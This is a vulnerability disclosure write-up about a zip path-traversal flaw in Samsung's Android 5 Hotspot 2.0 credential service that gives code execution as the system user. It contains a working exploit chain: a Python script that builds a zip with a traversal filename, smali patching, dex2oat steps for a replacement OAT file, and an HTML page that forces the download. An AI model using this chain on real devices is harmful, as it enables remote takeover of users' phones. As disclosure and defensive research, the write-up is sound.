Remote Code Execution as System User on Android 5 Samsung Devices abusing WifiCredService (Hotspot 2.0)

This article explains a recently disclosed vulnerability, independently discovered by the Google's Project Zero team and by Quarkslab some months ago. To our knowledge, this vulnerability was present, on all Samsung devices using Android 5, and allowed remote code execution as system user simply by browsing a website, by downloading an email attachment or via a malicious third party application with no permission.

Introduction

This article explains a recently disclosed vulnerability via the Google project zero bug tracker [0], independently discovered by the Google's Project Zero team and by Quarkslab some months ago. To our knowledge, this vulnerability was present on all Samsung devices using Android 5 and allowed remote code execution as system user simply by browsing a website, by downloading an email attachment or via a malicious third party application with no permission.

The Vulnerability

On Samsung devices using Android 5, an Android application running with system uid is monitoring file operations on the /sdcard/Download/ directory. It uses a Java FileObserver, a mechanism based on inotify. When a filename begins with cred and ends with .zip is written in that specific directory, a routine is called to unzip the archive and to remove it from the /sdcard/Download/ directory when it's done. The unzip routine extracts files present in the cred[something].zip archive to the /data/bundle/ directory.

Unfortunately, no validation is performed on filenames, which means that if a filename begins with ../, it will be written outside the /data/bundle/ directory. This allows an attacker to write arbitrary content at an arbitrary location with the system user rights. Let us precise that new directories are automatically created by the unzip routine and existing files are overwritten if the system user has the right to do it. Obviously, arbitrary file writing as system user leads to arbitrary code execution on Android.

Now, considering that the /sdcard/Download/ is the default directory where Google Chrome and the stock browser store the downloaded files, or where the GMail application saves the email attachments, you have a remote code execution vulnerability.

Attack Vectors

To our knowledge, the following attack vectors can be used to exploit this vulnerability:

  • Visiting a web page via any browser (including Google Chrome).
  • Downloading an email attachment via the GMail application.
  • Installing a malicious Android no permission application.

How to detect if you are vulnerable ?

We wanted to allow easy and quick detection of user's device status. To do so, we implemented a module [1] for the open-source project Android VTS [2]. Thus, detecting if your device is vulnerable or not is as simple as installing and running Android VTS. The application can be found on Google Play (https://play.google.com/store/apps/details?id=com.nowsecure.android.vts).

Below is an example of device detected as vulnerable by Android VTS:

Android VTS can detect if your device is vulnerable or not

Detailled Analysis

The Vulnerability

The following analysis has been done on a Samsung Galaxy S6. The vulnerable code is located in the application Hs20Settings.apk. It registers a BroadcastReceiver named WifiHs20BroadcastReceiver which is executed at boot, and also on some WiFi events (android.net.wifi.STATE_CHANGE).

Let us note that the vulnerable code can be located elsewhere on some Samsung devices. For example, on the Samsung Galaxy S5, the vulnerable code is in the application SecSettings.apk instead.

When the BroadcastReceiver is triggered by one of the previous event, the following code is executed:

public void onReceive(Context context, Intent intent) {
  [...]
  String action = intent.getAction();
  [...]
  if("android.intent.action.BOOT_COMPLETED".equals(action)) {
      serviceIntent = new Intent(context, WifiHs20UtilityService.class);
      args = new Bundle();
      args.putInt("com.android.settings.wifi.hs20.utility_action_type", 5003);
      serviceIntent.putExtras(args);
      context.startServiceAsUser(serviceIntent, UserHandle.CURRENT);
  }
  [...]
}

For each event received, an Intent is created to spawn a service named WifiHs20UtilityService. Looking at the "constructor" of the service, specifically the onCreate() method, we can see the creation of a new object WifiHs20CredFileObserver:

public void onCreate() {
  super.onCreate();
  Log.i("Hs20UtilService", "onCreate");
  [...]
  WifiHs20UtilityService.credFileObserver = new WifiHs20CredFileObserver(
          this,
          Environment.getExternalStorageDirectory().toString() + "/Download/"
  );
  WifiHs20UtilityService.credFileObserver.startWatching();
  [...]
}

The WifiHs20CredFileObserver is defined as a Java subclass of FileObserver:

class WifiHs20CredFileObserver extends FileObserver {

The FileObserver object is defined as below in the Android documentation [3]:

Monitors files (using inotify) to fire an event after files are accessed or changed by any process on the device (including this one). FileObserver is an abstract class; subclasses must implement the event handler onEvent(int, String).

Each FileObserver instance monitors a single file or directory. If a directory is monitored, events will be triggered for all files and subdirectories inside the monitored directory.

An event mask is used to specify which changes or actions to report. Event type constants are used to describe the possible changes in the event mask as well as what actually happened in event callbacks.

The public constructor must specify a path and a mask for the monitored events:

FileObserver(String path, int mask)

The constructor of WifiHs20CredFileObserver is the following:

public WifiHs20CredFileObserver(WifiHs20UtilityService arg2, String path) {
  WifiHs20UtilityService.this = arg2;
  super(path, 0xFFF);
  this.pathToWatch = path;
}

In the above code snippet, the FileObserver watches for all valid types of events on the /sdcard/Download/ directory. Indeed, the mask 0xFFF is for FileObserver.ALL_EVENTS. To understand the action taken when an event is received, we have to look at the overriden method onEvent() in WifiHs20CredFileObserver:

public void onEvent(int event, String fileName) {
    WifiInfo wifiInfo;
    Iterator i$;
    String credInfo;
    if(event == 8 && (fileName.startsWith("cred")) && ((fileName.endsWith(".conf")) || (fileName
            .endsWith(".zip")))) {
        Log.i("Hs20UtilService", "File CLOSE_WRITE [" + this.pathToWatch + fileName + "]" +
                event);
        if(fileName.endsWith(".conf")) {
            try {
                credInfo = this.readSdcard(this.pathToWatch + fileName);
                if(credInfo == null) {
                    return;
                }

                new File(this.pathToWatch + fileName).delete();
                i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();
                while(i$.hasNext()) {
                    WifiHs20Timer.access$500(i$.next()).cancel();
                }

                WifiHs20UtilityService.this.expiryTimerList.clear();
                WifiHs20UtilityService.this.mWifiManager.modifyPasspointCred(credInfo);
                wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();
                if(!wifiInfo.isCaptivePortal()) {
                    return;
                }

                if(wifiInfo.getNetworkId() == -1) {
                    return;
                }

                WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.
                        mWifiManager.getConnectionInfo().getNetworkId(), null);
            }
            catch(Exception e) {
                e.printStackTrace();
            }

            return;
        }

        if(fileName.endsWith(".zip")) {
            String zipFile = this.pathToWatch + "/cred.zip";
            String unzipLocation = "/data/bundle/";
            if(!this.installPathExists()) {
                return;
            }

            this.unzip(zipFile, unzipLocation);
            new File(zipFile).delete();
            credInfo = this.loadCred(unzipLocation);
            if(credInfo == null) {
                return;
            }

            i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();
            while(i$.hasNext()) {
                WifiHs20Timer.access$500(i$.next()).cancel();
            }

            WifiHs20UtilityService.this.expiryTimerList.clear();
            Message msg = new Message();
            Bundle b = new Bundle();
            b.putString("cred", credInfo);
            msg.obj = b;
            msg.what = 42;
            WifiHs20UtilityService.this.mWifiManager.callSECApi(msg);
            wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();
            if(!wifiInfo.isCaptivePortal()) {
                return;
            }

            if(wifiInfo.getNetworkId() == -1) {
                return;
            }

            WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.mWifiManager
                    .getConnectionInfo().getNetworkId(), null);
        }
    }
}

When an event of type 8 (FileObserver.CLOSE_WRITE) is received, some checks are done on the filename and actions may be taken. If the written filename begins with cred and ends with .conf or .zip, then some processing is performed. In all other cases, the FileObserver simply ignores it.

When an interesting file is written in the monitored folder, two scenarios can happen:

  • It's a .conf file: the service reads the file calling readSdcard(), then the configuration is passed to WifiManager.modifyPasspointCred() and, finally, the .conf file is deleted after the call to readSdcard().
  • It's a .zip file: the service extracts it to /data/bundle/ and it calls loadCred() to parse the content of a cred.conf file extracted. Then, it calls WifiManager.callSECApi() with the result from loadCred() as an argument inside a Bundle object. The .zip file is deleted after the unzip operation.

The first case is not really interesting to us, but the second one is. The unzip operation is done using the standard ZipInputStream class, and it's a well known issue [4] that if no validation is done on the filenames inside the archive, a directory traversal can be performed. The vulnerability is similar to the one reported by @fuzion24 in the samsung keyboard update mechanism [5].

The following is a cleaned version of the unzip() function. For readability, try/catch statements not necessary to the comprehension of the function have been removed:

 private void unzip(String _zipFile, String _location) {
   FileInputStream fin = new FileInputStream(_zipFile);
   ZipInputStream zin = new ZipInputStream(((InputStream)fin));

   ZipEntry zentry;

   /* check if we need to create some directories ... */
   while(true) {
     label_5:
       zentry = zin.getNextEntry();
       if(zentry == null) {
           // exit
       }

       Log.v("Hs20UtilService", "Unzipping********** " + zentry.getName());
       if(!zentry.isDirectory()) {
           break;
       }
       /* if the directory does'nt exist, the _dirChecker will create it */
       this._dirChecker(_location, zentry.getName());
   }

   FileOutputStream fout = new FileOutputStream(_location + zentry.getName());

   int c;
   for(c = zin.read(); c != -1; c = zin.read()) {
       if(fout != null) {
           fout.write(c);
       }
   }

   if(zin != null) {
     zin.closeEntry();
   }

   if(fout == null) {
       goto label_45;
   }

   fout.close();
label_45:
   MimeTypeMap type = MimeTypeMap.getSingleton();
   String fileName = new String(zentry.getName());
   int i = fileName.lastIndexOf(46);
   if(i <= 0) {
     goto label_5;
   }

   String v2 = fileName.substring(i + 1);
   Log.v("Hs20UtilService", "Ext" + v2);
   Log.v("Hs20UtilService", "Mime Type" + type.getMimeTypeFromExtension(v2));
   goto label_5;
  }
 }

One can notice that files in the archive are not verified for potential directory traversal issues. Hence, if we have a file cred.zip or cred[something].zip written in the /sdcard/Download/ directory, WifiHs20CredFileObserver automatically (i.e, without any user interaction) extracts the content of the archive in the /data/bundle/ directory and deletes the zip file afterwards. As no verification on filenames is performed in the decompression routine, any file within the archive beginning with ../ is extracted outside the /data/bundle/ directory and existing files are overwritten. Keep in mind that the unzip operation is done as system user.

Now, let us think about how to transform that into code execution.

Exploitation

First, we need to be able to build a zip file with arbitrary filename, but that's pretty easy in python:

from zipfile import ZipFile

with ZipFile("cred.zip", "w") as z:
    z.writestr("../../path/filename", open("file", "rb").read())

Now, how to get a code execution? When you have the capability to write data anywhere you want as system user, the typical solution is to overwrite some files inside the dalvik-cache. On Android 5, the dalvikvm is not used anymore, as it has been replaced by the ART runtime. In the same way as ODEX files, OAT files are generated from an .apk via by the package manager by invoking dex2oat and the resulting files are written to the /data/dalvik-cache/ directory (with .dex extension). Though, we can still use this method to get code execution.

Unfortunately (or not, depending on your side), it is important to note that overwritting the dalvik-cache for code execution is almost impossible now. On recent ROMs, the dalvik-cache directory is now owned by root and write access is restricted by SELinux [6] [7].

Some old Samsung ROMs running Android 5, like G900FXXU1BNL9 or G900FXXU1BOB7, did not include these SELinux rules, and thus were vulnerable. On these ROMs, the dalvik-cache directory was indeed owned by root, but no SELinux rule prevented an arbitrary system application from overwriting files in the dalvik-cache (files are owned by system). We will consider one of these ROMs as an example for this article because it's not the point of this article to explain other ways to execute arbitrary code as system without writing in dalvik-cache.

Now that we have a ROM exploitable through the dalvik-cache, we need to find an interesting target application (running also with system uid) to overwrite and we need to figure out how to generate our own OAT file.

Finding a good target application is not an easy task. One have to keep in mind three important details:

  • The unzip routine is written in Java, and decompression is done byte per byte, which is pretty slow on big files.
  • If you overwrite the OAT file of a running application, this one may crash and that is not really stealthy :)
  • How will you execute code from this application?

As a matter of fact, we need to find a small OAT file, and almost never used in order to overwrite it safely. The perfect candidate is:

shell@klte:/ $ ls -al /data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex
-rw-r--r-- system   u0_a31000   176560 2015-10-30 15:40 system@app@AccessControl@AccessControl.apk@classes.dex

Looking at the application's manifest, we can see that it has some kind of "autorun" capability by registering a BroadcastReceiver listening to android.intent.action.BOOT_COMPLETED events.

<manifest android:sharedUserId="android.uid.system" android:versionCode="1411172008" [...] xmlns:android="http://schemas.android.com/apk/res/android">
    <application android:debuggable="false" android:icon="@2130837507" android:label="@2131230720" android:supportsRtl="true" android:theme="@2131296256">
        [...]
        <receiver android:exported="false" android:name="com.samsung.android.app.accesscontrol.AccessControlReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="com.samsung.android.app.accesscontrol.TOGGLE_MODE" />
            </intent-filter>
        </receiver>
        [...]
    </application>
</manifest>

As a consequence, if we put our custom code inside the method onReceive() of the class AccessControlReceiver, our code will be executed each time the device boots.

Let's do it to validate our theory.

First, we need the original code of the AccessControl application:

> adb pull /system/app/AccessControl/arm/ .
pull: building file list...
pull: /system/app/AccessControl/arm/AccessControl.odex.xz -> ./AccessControl.odex.xz
pull: /system/app/AccessControl/arm/AccessControl.odex.art.xz -> ./AccessControl.odex.art.xz
2 files pulled. 0 files skipped.
273 KB/s (72428 bytes in 0.258s)
> ls
AccessControl.odex.art.xz  AccessControl.odex.xz
> xz -d *
> file *
AccessControl.odex:     ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped
AccessControl.odex.art: data

We obtain an ART ELF (OAT) file, but we want to modify its dalvik bytecode. We can extract the corresponding dalvik bytecode using the oat2dex utility [8]:

> python oat2dex.py /tmp/art/AccessControl.odex
Processing '/tmp/art/AccessControl.odex'
Found DEX signature at offset 0x2004
Got DEX size: 0xe944
Carving to: '/tmp/art/AccessControl.odex.0x2004.dex'
> file *
[...]
AccessControl.odex.0x2004.dex: Dalvik dex file version 035
[...]
> baksmali AccessControl.odex.0x2004.dex -o smali

Let's patch the AccessControlReceiver to add our custom code inside its onReceive() method:

> find smali/ -iname '*receiver*'
smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali
> vim smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali
[...]
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
  .registers 10

+  # adding the following code:
+  const-string v0, "sh4ka"
+  const-string v1, "boom!"
+  invoke-static {v0, v1}, Landroid/util/Log;->wtf(Ljava/lang/String;Ljava/lang/String;)I
[...]
> smali smali/ -o classes.dex

To build back an ART ELF file (OAT) from our modified DEX file, we need to use dex2oat command line as explained in [9] :

> adb pull /system/app/AccessControl/AccessControl.apk .
1462 KB/s (259095 bytes in 0.173s)
> sudo chattr +i AccessControl.apk
> cp AccessControl.apk Modded.apk
> zip -q Modded.apk classes.dex
> python -c 'print len("/system/app/AccessControl/AccessControl.apk")'
43
> python -c 'print 43-len("/data/local/tmp/Modded.apk")'
17
> mv Modded.apk Modded$(python -c 'print "1"*17').apk
> ls
AccessControl.apk  AccessControl.odex  AccessControl.odex.0x2004.dex  AccessControl.odex.art  classes.dex  Modded11111111111111111.apk  smali
> adb push Modded11111111111111111.apk /data/local/tmp
1144 KB/s (284328 bytes in 0.242s)
> adb shell dex2oat --dex-file=/data/local/tmp/Modded11111111111111111.apk --oat-file=/data/local/tmp/modified.oat
> adb pull /data/local/tmp/modified.oat .
1208 KB/s (172464 bytes in 0.139s)
> file modified.oat
modified.oat: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped
> sed -i 's/\/data\/local\/tmp\/Modded11111111111111111.apk/\/system\/app\/AccessControl\/AccessControl.apk/g;' modified.oat

Finally, we can build the ZIP file to exploit the vulnerability:

> cat injectzip.py
import sys
from zipfile import ZipFile

with ZipFile("cred.zip","w") as z:
  z.writestr(sys.argv[1],open(sys.argv[2],"rb").read())
> python injectzip.py ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex /tmp/art/modified.oat
> zipinfo cred.zip
Archive:  cred.zip
Zip file size: 172750 bytes, number of entries: 1
?rw-------  2.0 unx   172464 b- stor 15-Nov-08 18:43 ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex
1 file, 172464 bytes uncompressed, 172464 bytes compressed:  0.0%

There are multiple mean to trigger the vulnerability, like going on a web page forcing the browser to download of the zip file:

<html>
<head><script type="text/javascript">document.location="/cred.zip";</script></head>
<body></body>
</html>

Or, for testing purpose, by pushing it via adb in /sdcard/Download/:

> adb push cred.zip /sdcard/Download/
> adb logcat WifiCredService:V *:S
--------- beginning of main
--------- beginning of system
I/WifiCredService( 4599): File CLOSE_WRITE [/storage/emulated/0/Download/cred.zip]8
V/WifiCredService( 4599): Unzipping********** ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex
V/WifiCredService( 4599): Extdex
V/WifiCredService( 4599): Mime Typenull

At the next reboot, the following message should appear:

> adb reboot; adb logcat sh4ka:V *:S
- waiting for device -
--------- beginning of system
--------- beginning of main
F/sh4ka   ( 3613): boom!

That demonstrates that we managed to get code execution for this vulnerability by overwritting an existing file in the dalvik-cache. Of course, this is not optimal because we need to craft the right OAT file, which is unfortunately device and even ROM specific. An easier and more reliable way to exploit this vulnerability would be to do it with multiple stages. First, we need to get code execution on the device as a less privileged user, and focusing on reliability (i.e, without overwriting something inside the dalvik-cache). Then, we can use your unprivileged access to the system to build a compatible OAT file for AccessControl.apk, using tools like dex2oat directly on the device, and finally build a cred[something].zip ZIP file on the SDCard to write your custom OAT file inside the dalvik-cache and achieve code execution as system.

Conclusion

As we have seen in this article, OEM customisations are still the weakest point in Android security. Why would you like to have to escape a sandbox or defeat system mitigations (ASLR/canary/...) to achieve a reliable exploit when your smartphone manufacturer gives you the opportunity to have a 100% reliable exploit through a logic vulnerability?

One more time, the root cause of the vulnerability is a lack of filename validation when doing an "unzip" operation using ZipInputStream. Surely some validation could be done there...

Comments